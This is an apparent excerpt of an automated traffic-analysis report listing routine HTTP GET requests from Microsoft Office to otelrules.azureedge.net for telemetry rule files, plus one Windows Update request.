Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=+FtNUvbVAH84w3R&MD=FtAmOZP9 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
